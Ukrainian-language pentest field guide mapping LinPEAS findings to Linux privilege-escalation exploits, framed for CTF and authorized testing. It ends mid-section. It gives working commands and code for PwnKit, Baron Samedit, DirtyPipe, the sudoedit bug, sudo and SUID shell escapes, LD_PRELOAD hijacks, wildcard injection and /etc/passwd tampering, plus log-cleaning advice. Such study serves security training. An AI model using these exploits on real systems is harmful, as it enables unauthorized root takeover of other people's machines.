root@htb:~/linpeas# cat notes.md

LINPEAS PRIVESC FIELD GUIDE

// vulnerable output → exploitation paths

Інструмент: LinPEAS (PEASS-ng) — Carlos Polop
Підхід: Triage → читання кольорів → exploitation
Версія: 1.0
Теми: Kernel / Sudo / SUID / Caps / Cron / Containers / Creds
Автор: **pentester notes (20y exp)**

[LEGAL NOTICE]

Матеріал створено як методичний довідник для авторизованого пентестингу та CTF (Hack The Box, TryHackMe, OSCP labs). LinPEAS — open-source інструмент під MIT License від Carlos Polop. Використання описаних технік без письмового дозволу власника системи є незаконним. Документ продовжує серію HTB-style notes; передбачає базове знання Linux і командного рядка.

Як читати цей довідник

Цей документ — практичний компаньйон до LinPEAS. Якщо запустив `linpeas.sh` і отримав 4000+ рядків виводу — тут знайдеш, на що дивитись першим, що означає кожна знахідка і як перетворити її на root-shell. Структура дзеркальна до Windows post-exploitation notes: decision tree → вектори V01-V22 → покрокові walkthrough'и.

1.1 Де ми у kill chain

LinPEAS — це enumeration tool для Linux post-exploitation, фаза privilege escalation. Передумова: у нас вже є shell на хості (RCE через web, SSH з низькопривілейованим юзером, з reverse shell після exploit). Мета — root або UID іншого юзера з більшими правами.

Workflow з LinPEAS:

- Запустити LinPEAS — отримати вивід
- Прочитати Red+Yellow highlights — це найбільш ймовірні privesc-вектори
- Скоррелювати знахідки з GTFOBins (для SUID/sudo/caps)
- Скоррелювати kernel і sudo версії з exploitdb
- Експлуатація → escalation до root

1.2 Кольорова схема LinPEAS

Це найважливіше у LinPEAS — без розуміння кольорів вивід стає нечитабельним. Схема така:

Колір	Що означає	Пріоритет
Red + Yellow (фон)	~95% privesc-вектор — дивись першим	CRITICAL
Red	Цікаве, варто перевірити	HIGH
Yellow	Потенційно цікаво — оглянути	MEDIUM
Green	Захист увімкнено / нормальний стан	INFO
Blue	Інформативне поле, контекст	INFO
Light cyan	Корисне, але не privesc	LOW

> ✓ **TIP:** Робити `./linpeas.sh -a | tee /dev/shm/linpeas.txt`, потім `less -r /dev/shm/linpeas.txt` щоб зберегти кольори. Шукати `/95%` у less для миттєвого переходу до Red+Yellow.

1.3 Легенда документа

Блоки коду помічено за оболонкою: cmd (bash на цілі), sh (shell на атакуючій Kali), out (вивід команди / вивід LinPEAS). Кожен вектор має badge: HIGH (часта перемога), MED (умовна), LOW (рідкісна).

> ⚠ **УВАГА:** позначає дії, що змінюють файли на цілі (модифікація `/etc/passwd`, додавання SSH-ключів, створення SUID-бінарів). На реальному engagement — потрібен явний письмовий дозвіл; на CTF — не критично.

2. Тріаж — куди дивитись першим

LinPEAS вивалює тонни даних — без триажу губишся у шумі. Нижче — мастер-флоучарт: послідовність перевірок, що дає 80% результатів за 10 хвилин.

2.1 Майстер-флоучарт

? linpeas закінчив роботу — куди дивитись?

✓ STEP 1 → `sudo -l` (Розділ 4) — найшвидший privesc, читати першим

✓ STEP 2 → SUID/SGID + Capabilities (Розділ 5) — звірити з GTFOBins

✓ STEP 3 → Kernel/Sudo/Polkit version (Розділ 3) — відомі CVE: PwnKit, Baron Samedit, DirtyPipe

✓ STEP 4 → Cron jobs + writable files in PATH (Розділ 6)

✓ STEP 5 → Group membership: docker, lxd, disk (Розділ 7)

✓ STEP 6 → NFS, Docker socket, креденшіали в файлах (Розділи 7-8)

↓

? Нічого з кроків 1-6 не дало root?

~ MAYBE → шукати креденшіали інших юзерів (history, configs, backups) → `su user2` → повторити LinPEAS під ним

~ MAYBE → process command line monitoring (`pspy`) — щось виконується періодично

✗ NO → можливо, хост дійсно правильно налаштований (рідко) або linpeas щось пропустив — спробувати `lse.sh` (Linux Smart Enumeration), що використовує іншу логіку

2.2 Карта "Що бачу в LinPEAS → куди йти"

Спостереження у виводі	Розділ
Sudo version 1.8.x (red+yellow)	Розділ 3.2 (CVE-2021-3156 Baron Samedit)
pkexec у SUID та polkit < 0.120	Розділ 3.3 (CVE-2021-4034 PwnKit)
Kernel 5.8 — 5.16.11	Розділ 3.4 (DirtyPipe CVE-2022-0847)
User can run X as root NOPASSWD	Розділ 4.1 (NOPASSWD sudo)
env_keep+=LD_PRELOAD	Розділ 4.2 (LD_PRELOAD hijack)
Sudo wildcard *	Розділ 4.3 (sudo wildcard)
SUID binary listed in GTFOBins	Розділ 5.1 (SUID GTFOBins)
Custom SUID binary (нестандартний)	Розділ 5.2 (binary analysis)
cap_setuid+ep on /usr/bin/python	Розділ 5.3 (capabilities)
Cron job писабельний	Розділ 6.1 (cron writable)
PATH manipulation у cron	Розділ 6.2 (cron PATH)
Wildcard у cron tar/chown	Розділ 6.3 (wildcard injection)
Writable folder у $PATH	Розділ 6.4 (PATH hijack)
User у docker/lxd group	Розділ 7.1 (container escape)
/var/run/docker.sock доступний	Розділ 7.2 (docker socket)
NFS share with no_root_squash	Розділ 7.3 (NFS abuse)
/etc/passwd writable (rare)	Розділ 8.1 (passwd inject)
Креденшіали у history/.bash_history	Розділ 8.2 (creds harvest)

Спостереження у виводі	Розділ
Креденшіали у конфігах (.my.cnf, web)	Розділ 8.3 (configs)
SSH private keys readable	Розділ 8.4 (SSH keys)

Зміст

[01] Вступ і методологія
- 1.1 Де ми у kill chain
- 1.2 Кольорова схема LinPEAS
- 1.3 Легенда документа

[02] Тріаж — куди дивитись першим
- 2.1 Майстер-флоучарт
- 2.2 Карта "Що бачу → куди йти"

[03] System / Kernel exploits
- 3.1 V01 — OS / Kernel version
- 3.2 V02 — Sudo version (CVE-2021-3156)
- 3.3 V03 — Polkit / pkexec (CVE-2021-4034)
- 3.4 V04 — DirtyPipe (CVE-2022-0847)

[04] Sudo misconfigurations
- 4.1 V05 — NOPASSWD entries
- 4.2 V06 — LD_PRELOAD / LD_LIBRARY_PATH preserved
- 4.3 V07 — Sudo wildcard
- 4.4 V08 — Sudoedit / sudo token reuse

[05] SUID / SGID / Capabilities
- 5.1 V09 — SUID GTFOBins
- 5.2 V10 — Custom SUID binaries
- 5.3 V11 — Linux Capabilities
- 5.4 V12 — SGID misconfigurations

[06] Cron / Timers / PATH
- 6.1 V13 — Writable cron scripts
- 6.2 V14 — Cron PATH manipulation
- 6.3 V15 — Wildcard injection (tar/chown/rsync)
- 6.4 V16 — Writable directories in $PATH

[07] Containers / Network
- 7.1 V17 — docker / lxd / disk groups
- 7.2 V18 — Docker socket exposed
- 7.3 V19 — NFS no_root_squash

[08] Credentials / Files
- 8.1 V20 — Writable /etc/passwd / shadow
- 8.2 V21 — Креденшіали у history та configs
- 8.3 V22 — SSH keys і agent socket
- 8.4 V23 — Service config backup files (.bak/.old)

[09] Післямова — куди йти далі

3. System / Kernel exploits

LinPEAS виводить версії OS, kernel, sudo, polkit на самому початку. Це низько висячі плоди: якщо хост не патчений, відомий CVE дає root за хвилину. Перевіряти ВСІ версії, а не тільки kernel — sudo і polkit мають свіжіші CVE з гарантованим успіхом.

[V01] OS / Kernel version HIGH

Ціль: застарілий kernel з відомим LPE
LinPEAS секція: `[+] Operative system` та `[+] Sudo version`
Наступний крок: Розділ 3.4 (DirtyPipe), exploitdb lookup

```linpeas
╔═══╣ Operative system
Linux version 5.13.0-39-generic (buildd@lcy02-amd64-076) (gcc (Ubuntu 9.4.0-1ubuntu1~20.04.1) 9.4.0, GNU ld (
Distributor ID: Ubuntu
Description:    Ubuntu 20.04.4 LTS
Release:        20.04
Codename:       focal
```

▸ все що < 5.16.11 — кандидат на DirtyPipe; < 5.8 — старіші CVE (overlayfs, etc.)

Що шукати у виводі

- Точна версія kernel: `5.13.0-39-generic` → exploitdb search
- Distro: Ubuntu 20.04 з 5.13 → перевірити Ubuntu Security Notices
- End-of-life дистри (CentOS 6, Ubuntu 16.04 без ESM) — будь-які unpatched CVE

Workflow перевірки

```sh
attacker@kali$ searchsploit linux kernel 5.13 privilege escalation
attacker@kali$ searchsploit linux kernel ubuntu 20.04 local
attacker@kali$ # або онлайн
attacker@kali$ firefox https://www.exploit-db.com/search?platform=linux&type=local&text=kernel
```

Топ kernel CVE 2021-2024 для перевірки

CVE	Kernel range	Назва
CVE-2022-0847	5.8 — 5.16.11 / 5.15.25 / 5.10.102	DirtyPipe
CVE-2021-22555	2.6.19 — 5.12-rc8	Netfilter heap OOB
CVE-2022-2588	3.13 — 5.18	cls_route UAF
CVE-2023-0386	< 5.19	OverlayFS uid mapping
CVE-2023-2640+CVE-2023-32629	Ubuntu specific	GameOver(lay)
CVE-2023-3269	6.1 — 6.4	StackRot
CVE-2024-1086	5.14 — 6.6	nf_tables UAF

⚠ **УВАГА:** Kernel exploits — ризиковано на проді. На CTF/HTB — норм. На реальному engagement — згода замовника. Альтернативи (sudo/SUID) безпечніші — використовувати kernel exploit лише як останній варіант.

3.2 V02 — Sudo Baron Samedit (CVE-2021-3156)

[V02] Sudo version < 1.9.5p2 HIGH

Ціль: Heap-based buffer overflow у sudoedit → root без password
LinPEAS секція: ╔═══╣ Sudo version
Наступний крок: PoC з gh:blasty/CVE-2021-3156

Вразливі версії

- Legacy: 1.8.2 — 1.8.31p2
- Stable: 1.9.0 — 1.9.5p1
- Patched: 1.9.5p2 і вище

Що шукати у LinPEAS

```linpeas
╔═══╣ Sudo version
╚ https://book.hacktricks.wiki/.../sudo-and-suid.html
Sudo version 1.8.31

    Sudo version 1.8.2 - 1.8.31p2
    Sudo versions 1.9.0 - 1.9.5p1
Vulnerable to CVE-2021-3156
```

▸ LinPEAS вже сам перевіряє і пише Vulnerable to CVE-2021-3156 — це red flag

Експлуатація — крок 1: завантажити PoC

```sh
attacker@kali$ git clone https://github.com/blasty/CVE-2021-3156
attacker@kali$ cd CVE-2021-3156 && make
attacker@kali$ python3 -m http.server 8000
```

Крок 2: завантажити і запустити на цілі

```cmd
user@target$ cd /tmp
user@target$ wget http://10.10.14.X:8000/sudo-hax-me-a-sandwich
user@target$ wget http://10.10.14.X:8000/libnss_X
user@target$ chmod +x sudo-hax-me-a-sandwich
user@target$ ./sudo-hax-me-a-sandwich 0    # target ID — 0 для Ubuntu 20.04
```

```out
** CVE-2021-3156 PoC by blasty <peter@haxx.in>
using target: Ubuntu 20.04.1 LTS (Focal Fossa) -- sudo 1.8.31, libc-2.31
[~] obtained shell as root!
# id
uid=0(root) gid=0(root) groups=0(root)
```

Альтернативний PoC (Python)

```sh
attacker@kali$ git clone https://github.com/worawit/CVE-2021-3156
user@target$ python3 exploit_nss.py    # універсальніший, без target IDs
```

ℹ **INFO:** CVE-2021-3156 експлуатує parsing argv у `sudoedit -s`. Не потребує sudo-привілеїв — будь-який локальний юзер може exploit'ити. Тому вразливі sudo + наявність `sudoedit` = моментальний root.

CVE-2019-14287 — runas bypass (старіший але теж зустрічається)

Якщо у sudoers є рядок виду `user ALL=(ALL,!root) /usr/bin/X`, то sudo < 1.8.28 дозволяє обійти заборону через `-u#-1`:

```cmd
user@target$ sudo -u#-1 /usr/bin/id
uid=0(root) gid=0(root) groups=0(root)
```

3.3 V03 — PwnKit (CVE-2021-4034)

[V03] Polkit pkexec — local privilege escalation HIGH

Ціль: root через незахищений argv parsing у pkexec
LinPEAS секція: SUID listing — `/usr/bin/pkexec`
Наступний крок: PoC з gh:berdav/CVE-2021-4034

Вразливі версії

Полкіт (раніше PolicyKit) усіх версій з самого створення (2009) до January 2022. Тобто практично всі дистри до 25 січня 2022 — Ubuntu 14.04+, Debian 7+, RHEL 6+, CentOS 6+, Fedora всі.

Що шукати у LinPEAS

```linpeas
╔═══════╣ SUID - Check easy privesc, exploits and write perms
-rwsr-xr-x 1 root root 31K Aug 28  2018 /bin/fusermount
-rwsr-xr-x 1 root root  44K May 26  2020 /usr/bin/newgrp
-rwsr-xr-x 1 root root  43K Sep  3  2020 /usr/lib/policykit-1/polkit-agent-helper-1
-rwsr-xr-x 1 root root 31K Aug 28  2018 /usr/bin/pkexec  ---> CVE-2021-4034

╔═══════╣ Searching specific binaries
/usr/bin/pkexec ....> CVE-2021-4034 (PwnKit)
```

▸ LinPEAS відразу маркує pkexec як CVE-2021-4034; перевірити, чи pkexec має SUID-біт (літера s у dwнерах) — якщо так, vulnerability експлоатабельна

Експлуатація — gh:berdav/CVE-2021-4034 (без компіляції на цілі)

```sh
attacker@kali$ git clone https://github.com/berdav/CVE-2021-4034
attacker@kali$ cd CVE-2021-4034 && make
```

```cmd
user@target$ cd /tmp
user@target$ wget http://10.10.14.X:8000/cve-2021-4034 -O exp
user@target$ chmod +x exp && ./exp
# id
uid=0(root) gid=1000(user) groups=1000(user)
# whoami
root
```

Альтернативно — gh:joeammond/CVE-2021-4034 (Python)

```cmd
user@target$ wget https://raw.githubusercontent.com/joeammond/CVE-2021-4034/main/CVE-2021-4034.py
user@target$ python3 CVE-2021-4034.py
[+] Creating shared library for exploit code.
[+] Calling execve()
# id
uid=0(root) gid=0(root) groups=0(root)
```

ℹ **INFO:** PwnKit працює без жодних flag'ів і прав. Якщо pkexec є SUID-root і polkit не патчений — exploit гарантовано спрацює. Це найнадійніший privesc 2022-2023 років.

Перевірка patch-level

```cmd
user@target$ dpkg -l | grep -i policykit    # Debian/Ubuntu
```

```
user@target$ rpm -qa | grep -i polkit         # RHEL/CentOS/Fedora

ii  policykit-1     0.105-26ubuntu1.2  amd64    framework for managing administrative policies
```

▸ policykit-1 0.105-26ubuntu1.2 — патчено; 0.105-26ubuntu1 (без .2) — vulnerable; для RHEL — polkit < 0.115-13.0.1.el7_9.1 vulnerable

> ⚠ **УВАГА:** PwnKit залишає сліди в `/var/log/auth.log`: видно failed pkexec calls з невалідним argv. Blue team може помітити; на stealthy engagement — використовувати раз і чистити логи (якщо authorized).

3.4 V04 — DirtyPipe (CVE-2022-0847)

[V04] Linux kernel 5.8 — 5.16.11 (та подвізії) HIGH

Ціль: Запис у read-only файли через pipe-buffer flag bug → root
LinPEAS секція: `[+] Operative system` — kernel version
Наступний крок: PoC AlexisAhmed/CVE-2022-0847

Вразливі версії kernel

- 5.8 — 5.16.10 (linux mainline)
- 5.15.0 — 5.15.24
- 5.10.0 — 5.10.101
- Патчено: 5.16.11 / 5.15.25 / 5.10.102 і вище

Як працює (коротко)

Bug у функції `copy_page_to_iter_pipe()`: pipe-buffer's flag `PIPE_BUF_FLAG_CAN_MERGE` не очищається при reuse. Атакуючий може overwrite будь-який read-only файл (включно з `/etc/passwd` або SUID-бінарником) без потреби у write-permission.

Що шукати у LinPEAS

```linpeas
╔═══════╣ Operative system
Linux version 5.13.0-30-generic (buildd@lgw01-amd64-064) (gcc (Ubuntu 9.3.0-17ubuntu1~20.04) 9.3.0, GNU ld (GI
```

▸ 5.13.0 — у вразливому діапазоні (5.8 — 5.16.10); patched тільки після 5.16.11 / 5.15.25 / 5.10.102

Експлуатація — варіант 1: SUID hijack (без write до passwd)

```sh
attacker@kali$ git clone https://github.com/AlexisAhmed/CVE-2022-0847-DirtyPipe-Exploits
attacker@kali$ cd CVE-2022-0847-DirtyPipe-Exploits && bash compile.sh
```

```cmd
user@target$ wget http://10.10.14.X:8000/exploit-1
user@target$ chmod +x exploit-1 && ./exploit-1
[+] hijacking suid binary..
[+] dropping suid shell..
[+] popping root shell.. (dont forget to clean up /tmp/sh ;))
# id
uid=0(root) gid=0(root) groups=0(root)
```

Варіант 2: запис у /etc/passwd (overwrite root password hash)

```cmd
user@target$ ./exploit-2
[+] hijacking /etc/passwd ..
[+] restoring /etc/passwd ..
[+] popping root shell..
# whoami
root
```

ℹ **INFO:** DirtyPipe варіант 1 краще для stealth — модифікує SUID binary тимчасово і відновлює його. Варіант 2 на секунду ламає `/etc/passwd` — інші юзери в цей момент не зможуть логінитись. Для авторизованого engagement — варіант 1.

Перевірка наявності патчу — manually

```cmd
user@target$ uname -r
5.13.0-30-generic
user@target$ cat /proc/version
Linux version 5.13.0-30-generic (buildd@lgw01-amd64-064) ...
user@target$ apt-cache policy linux-image-$(uname -r)    # Debian/Ubuntu
```

> ⚠ **УВАГА:** DirtyPipe залишає `/tmp/sh` або модифікує SUID-бінар. Для stealth — після експлуатації обов'язково: `rm /tmp/sh`; для варіанту з SUID — оригінал зазвичай restore'иться автоматично, але перевір.

3.5 Інші OS-level знахідки

LinPEAS також виводить інформацію про enabled MAC (AppArmor/SELinux), aslr status, printer service (CVE-2022-44268 ImageMagick), dbus configuration. Якщо `/proc/sys/kernel/randomize_va_space` = 0 — ASLR вимкнено; робить kernel exploits надійнішими (але самостійно privesc не дає).

4. Sudo misconfigurations

Sudo — найпоширеніший і найшвидший privesc-вектор. LinPEAS перевіряє `sudo -l` (якщо знає пароль або passwordless), читає `/etc/sudoers` та `/etc/sudoers.d/*`. Чотири основні підвиди misconfig'ів — V05 до V08.

4.1 V05 — NOPASSWD entries

[V05] Юзер може запускати командуа як root без пароля HIGH

Ціль: root через GTFOBins binary з sudo NOPASSWD

LinPEAS секція: `╔══╣ Checking 'sudo -l'`

Наступний крок: GTFOBins → exploitation

Що шукати у LinPEAS

```linpeas
╔══╣ Checking 'sudo -l', /etc/sudoers, and /etc/sudoers.d
╚ https://book.hacktricks.wiki/.../sudo-and-suid.html
Matching Defaults entries for user on target:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User user may run the following commands on target:
    (ALL : ALL) NOPASSWD: /usr/bin/find
    (root) NOPASSWD: /usr/bin/vim
    (root) NOPASSWD: /usr/bin/less /var/log/*
```

- три рядки червоні = три окремі шляхи до root; кожен бінар перевірити на gtfobins.github.io

Експлуатація — find

```cmd
user@target$ sudo find . -exec /bin/bash -p \; -quit
# whoami
root
# id
uid=1000(user) gid=1000(user) euid=0(root) groups=1000(user)
```

- `-p` у bash = preserve effective UID; без нього bash дроpне euid назад до 1000

Експлуатація — vim

```cmd
user@target$ sudo vim -c ':!/bin/bash'
# або з режиму vim:
user@target$ sudo vim
:set shell=/bin/bash
:shell
```

Експлуатація — less з wildcard

NOPASSWD з аргументами `/usr/bin/less /var/log/*` — можна обійти через path traversal: less не блокує, що файл за межами /var/log/, якщо ми передаємо абсолютний шлях через `../`:

```cmd
user@target$ sudo less /var/log/../../etc/shadow
# less відкривається з shadow; всередині less:
!/bin/bash
# whoami
root
```

Топ-20 GTFOBins для sudo NOPASSWD

Binary	Команда escape
find	`sudo find . -exec /bin/sh \; -quit`
vim/vi	`sudo vim -c ':!/bin/sh'`
nano	`^R^X reset; sh 1>&0 2>&0` (CtrlR + CtrlX)
awk	`sudo awk 'BEGIN {system("/bin/sh")}'`
perl	`sudo perl -e 'exec "/bin/sh";'`
python	`sudo python -c 'import os; os.system("/bin/sh")'`
less / more	відкрити файл, потім `!/bin/sh`
man	`sudo man man` → `!/bin/sh`
tar	`sudo tar -cf /dev/null x --checkpoint=1 --checkpoint-action=exec=/bin/sh`
zip	`sudo zip x.zip x -T --unzip-command="sh -c /bin/sh"`
git	`sudo git -p help config` → `!/bin/sh`
nmap (старий)	`sudo nmap --interactive` → `!sh`
apt / apt-get	`sudo apt changelog apt` → `!/bin/sh`
wget	upload `/etc/shadow` → exfil та crack
cp / dd	overwrite `/etc/passwd` з своїм root user

4.2 V06 — LD_PRELOAD / LD_LIBRARY_PATH preserved

[V06] sudo Defaults env_keep+="LD_PRELOAD" HIGH

Ціль: завантажити свою .so у sudo-процес → root

LinPEAS секція: `╟── Checking 'sudo -l', /etc/sudoers`

Наступний крок: скомпілювати .so → запустити sudo з env

За замовчуванням sudo чистить більшість env vars при запуску процесу як root. Але адмін може додати exception у sudoers через `env_keep`. Якщо там є `LD_PRELOAD` або `LD_LIBRARY_PATH` — privesc елементарний.

Що шукати у LinPEAS

```linpeas
Matching Defaults entries for user on target:
    env_reset, mail_badpass,
    env_keep+=LD_PRELOAD,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User user may run the following commands on target:
    (root) NOPASSWD: /usr/sbin/apache2ctl restart
```

▸ env_keep+=LD_PRELOAD = jackpot; тепер будь-який sudo-команда дозволяє завантажити нашу .so

Експлуатація — крок 1: створити preload.c

```cmd
user@target$ cat > /tmp/preload.c <<'EOF'
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
    unsetenv("LD_PRELOAD");
    setresuid(0,0,0);
    system("/bin/bash -p");
}
EOF
```

Крок 2: скомпілювати у .so

```cmd
user@target$ gcc -fPIC -shared -nostartfiles -o /tmp/preload.so /tmp/preload.c
```

Крок 3: запустити sudo з LD_PRELOAD

```cmd
user@target$ sudo LD_PRELOAD=/tmp/preload.so apache2ctl restart
# whoami
root
# id
uid=0(root) gid=0(root) groups=0(root)
```

▸ команда (apache2ctl restart) тут неважлива — нам важливо тільки запустити sudo щоб _init() виконався при load .so

Варіант — LD_LIBRARY_PATH

Менш елегантний, але теж працює. Створюємо .so з ім'ям, що збігається з реальною бібліотекою цільової команди (треба з'ясувати через `ldd`):

cmd

```
user@target$ ldd /usr/sbin/apache2ctl
    linux-vdso.so.1 (0x00007ffe5b7d8000)
    libcrypt.so.1 => /lib/x86_64-linux-gnu/libcrypt.so.1 ...

user@target$ cat > /tmp/lib/libcrypt.c <<'EOF'
#include <stdio.h>
#include <stdlib.h>
static void hijack() __attribute__((constructor));
void hijack() {
    unsetenv("LD_LIBRARY_PATH");
    setresuid(0,0,0);
    system("/bin/bash -p");
}
EOF
user@target$ gcc -o /tmp/lib/libcrypt.so.1 -shared -fPIC /tmp/lib/libcrypt.c
user@target$ sudo LD_LIBRARY_PATH=/tmp/lib /usr/sbin/apache2ctl restart
# whoami
root
```

> ℹ **INFO:** LD_PRELOAD простіший і надійніший. LD_LIBRARY_PATH — fallback, якщо LD_PRELOAD очищений, але LD_LIBRARY_PATH ні (рідко, але буває). Обидва відсутні в env_keep — переходити до інших векторів.

Чому setresuid(0,0,0) важливо

Без цього виклику дочірній bash успадкує euid root, але не real uid. Деякі програми (passwd, sudoedit) перевіряють real uid; без setresuid ці механіки не спрацюють. `setresuid(0,0,0)` робить нас "повноцінним" root.

4.3 V07 — Sudo wildcard injection

[V07] sudo command містить wildcard * MED

Ціль: впихнути argv-flag через wildcard expansion → privesc
LinPEAS секція: `Checking 'sudo -l'`
Наступний крок: створити файл з ім'ям-flag → wildcard поглине

Що шукати

```
linpeas

User user may run the following commands on target:
    (root) NOPASSWD: /bin/tar -czf /backup/home.tar.gz /home/*
    (root) NOPASSWD: /bin/chown user:user /var/www/html/*
    (root) NOPASSWD: /usr/bin/rsync -av * /backup/
```

Експлуатація — tar checkpoint

Tar має флаги `--checkpoint` і `--checkpoint-action`, що дозволяють виконати команду. Якщо wildcard у sudo, ми можемо створити файли з іменами що виглядають як ці флаги:

```cmd
user@target$ cd /home/user
user@target$ echo 'cp /bin/bash /tmp/rootbash; chmod +s /tmp/rootbash' > pwn.sh
user@target$ chmod +x pwn.sh
user@target$ touch -- "--checkpoint=1"
user@target$ touch -- "--checkpoint-action=exec=sh pwn.sh"
user@target$ ls
--checkpoint=1   --checkpoint-action=exec=sh pwn.sh   pwn.sh

user@target$ sudo tar -czf /backup/home.tar.gz /home/*
user@target$ ls -la /tmp/rootbash
-rwsr-sr-x 1 root root 1234376 ... /tmp/rootbash
user@target$ /tmp/rootbash -p
# id
uid=1000(user) gid=1000(user) euid=0(root) groups=1000(user)
```

Експлуатація — chown через символьне посилання

Якщо sudo дозволяє `chown user:user /var/www/html/*`, ми робимо symlink з `/var/www/html/x` на `/etc/shadow` — і chown даст нам ownership shadow:

```cmd
user@target$ ln -s /etc/shadow /var/www/html/shadow_link
user@target$ sudo chown user:user /var/www/html/*
user@target$ ls -la /etc/shadow
-rw-r----- 1 user user 1234 ... /etc/shadow
user@target$ cat /etc/shadow
root:$6$xyz...:18000:0:99999:7:::
# далі — hashcat або просто дописати свій рядок
```

> ⚠ **УВАГА:** Chown на shadow змінює ownership назавжди — інші юзери не зможуть логінитись після. У engagement обов'язково повертати ownership: `sudo chown root:shadow /etc/shadow && sudo chmod 640 /etc/shadow` через root shell.

Експлуатація — rsync wildcard

Rsync має флаг `-e` (remote shell) — ціль виконує його. Через wildcard впихуємо:

```cmd
user@target$ echo 'sh -c "/bin/bash -p"' > /tmp/shell
```

```
user@target$ chmod +x /tmp/shell
user@target$ cd /tmp
user@target$ touch -- "-e sh shell"
user@target$ sudo rsync -av * /backup/
# whoami
root
```

4.4 V08 — Sudoedit / sudo token reuse

[V08] sudo timestamp reuse / sudoedit (CVE-2023-22809) LOW

Ціль: обійти password timeout або редагувати файли поза дозволом

CVE-2023-22809: sudoedit в sudo до 1.9.12p2 не валідує EDITOR/VISUAL змінні, дозволяючи через `--` додати додатковий файл для edit:

```cmd
user@target$ sudo -l
User may run: (root) sudoedit /etc/myapp/config

user@target$ EDITOR='vim -- /etc/sudoers' sudoedit /etc/myapp/config
# vim відкривається з /etc/sudoers — додаємо: user ALL=(ALL) NOPASSWD:ALL
user@target$ sudo su -
# whoami
root
```

5. SUID / SGID / Capabilities

SUID-біт = бінар запускається з UID власника, незалежно від того, хто його викликав. Якщо власник — root і бінар має GTFO-trick (or бугги) — privesc-вектор. LinPEAS виводить ВСЕ SUID/SGID, маркує red те, що відоме як небезпечне.

5.1 V09 — SUID на GTFOBins

[V09] Стандартний бінар з SUID-бітом, що дає shell escape HIGH

Ціль:	root через GTFOBins SUID-trick
LinPEAS секція:	╔══╣ SUID
Наступний крок:	gtfobins.github.io → SUID секція бінара

Що шукати у виводі

```linpeas
╔══╣ SUID - Check easy privesc, exploits and write perms
╚ https://book.hacktricks.wiki/.../privilege-escalation#sudo-and-suid
-rwsr-xr-x 1 root root  44K Sep 16  2020 /usr/bin/newgrp
-rwsr-xr-x 1 root root  87K Mar 22  2019 /usr/bin/gpasswd
-rwsr-xr-x 1 root root  31K Aug 28  2018 /usr/bin/pkexec  ---> CVE-2021-4034
-rwsr-xr-x 1 root root  56K Aug 28  2018 /usr/bin/find  ---> gtfobins
-rwsr-xr-x 1 root root 184K Aug 21  2020 /usr/bin/python3.8  ---> gtfobins
-rwsr-xr-x 1 root root  39K Mar 14  2020 /usr/bin/nmap  ---> gtfobins (interactive)
-rwsr-xr-x 1 root root  64K Aug 28  2018 /usr/bin/cp  ---> overwrite /etc/passwd
```

▸ find/python/cp як SUID = майже гарантований root; python — найшвидший спосіб

Експлуатація — python SUID

```cmd
user@target$ /usr/bin/python3.8 -c 'import os; os.setuid(0); os.system("/bin/bash -p")'
# whoami
root
```

Експлуатація — find SUID

```cmd
user@target$ /usr/bin/find . -exec /bin/sh -p \; -quit
# whoami
root
```

Експлуатація — cp SUID (overwrite /etc/passwd)

```cmd
user@target$ openssl passwd -1 -salt salt P@ssw0rd
$1$salt$2gK3iPx...

user@target$ cp /etc/passwd /tmp/passwd.bak
user@target$ echo 'rooot:$1$salt$2gK3iPx...:0:0:root:/root:/bin/bash' >> /tmp/passwd.bak
user@target$ /usr/bin/cp /tmp/passwd.bak /etc/passwd
user@target$ su rooot
Password: P@ssw0rd
# whoami
root
```

Топ-15 SUID GTFOBins

Binary	SUID escape
bash	`bash -p`
find	`find . -exec /bin/sh -p \; -quit`
python/python3	`python -c 'import os; os.setuid(0); os.system("/bin/sh")'`
perl	`perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/sh"'`
vim/nano	shell-escape через `:!sh`
nmap (старий)	`nmap --interactive` → `!sh`
env	`env /bin/sh -p`
cp	overwrite /etc/passwd або /etc/shadow
dd	overwrite файлів як root
tee	`echo X | tee -a /etc/sudoers`
tar	`tar --checkpoint=1 --checkpoint-action=exec=/bin/sh ...`
gdb	`gdb -nx -ex '!sh -p' -ex quit`
less / more	відкрити файл → `!sh`
awk	`awk 'BEGIN {system("/bin/sh -p")}'`
strace	`strace -o /dev/null /bin/sh -p`

5.2 V10 — Custom SUID binaries

[V10] Нестандартний SUID-бінар (не з GTFOBins) HIGH

Ціль:	reverse engineering / strings / binary analysis → знайти PATH-injection або command injection
LinPEAS секція:	SUID listing — все, що НЕ системний бінар
Наступний крок:	strings, ltrace, ghidra

Як розпізнати custom SUID

```linpeas
╔═══════╣ SUID
# системні (відомі) — пропускаємо
-rwsr-xr-x 1 root root  44K Sep 16  2020 /usr/bin/newgrp
-rwsr-xr-x 1 root root  56K Aug 28  2018 /usr/bin/find
# custom — підозрілий!
-rwsr-xr-x 1 root root 16K Jan 12  2024 /usr/local/bin/backup-helper
-rwsr-xr-x 1 root root  9K Jan 12  2024 /opt/scripts/cleanup
```

- все у /usr/local/bin, /opt, /home з SUID — custom; це ніким не аудитовано і часто має баги

Крок 1 — strings analysis

```cmd
user@target$ strings /usr/local/bin/backup-helper
# шукати: system, exec, popen, /bin/, sprintf, ENV-vars
/lib64/ld-linux-x86-64.so.2
__libc_start_main
system
tar -czf /backup/home_%s.tar.gz /home/%s
Backup completed for user: %s
```

- бачимо tar -czf з форматною строкою — потенційна command injection через user-input

Крок 2 — ltrace для перегляду викликів

```cmd
user@target$ ltrace /usr/local/bin/backup-helper testuser
__libc_start_main(0x4006fa, 2, 0x7ffc...)
getuid()                                                = 1000
geteuid()                                               = 0
sprintf("tar -czf /backup/home_testuser..", ...)
system("tar -czf /backup/home_testuser.tar.gz /home/testuser")
exit(0)
```

- бачимо: бінар через system() викликає shell з нашим input — command injection

Крок 3 — exploitation через command injection

```cmd
user@target$ /usr/local/bin/backup-helper 'x; /bin/bash -p; #'
# shell expansion: tar -czf /backup/home_x; /bin/bash -p; #.tar.gz /home/x; /bin/bash -p; #
# whoami
root
```

Інший типовий випадок — PATH injection через relative call

Якщо у strings бачимо виклик команди без абсолютного шляху (`"system("date")"`), бінар використовує $PATH — можна підмінити:

```cmd
user@target$ strings /opt/scripts/cleanup | grep -E '^[a-z]+$'
date
ls
find

user@target$ echo '/bin/bash -p' > /tmp/find
user@target$ chmod +x /tmp/find
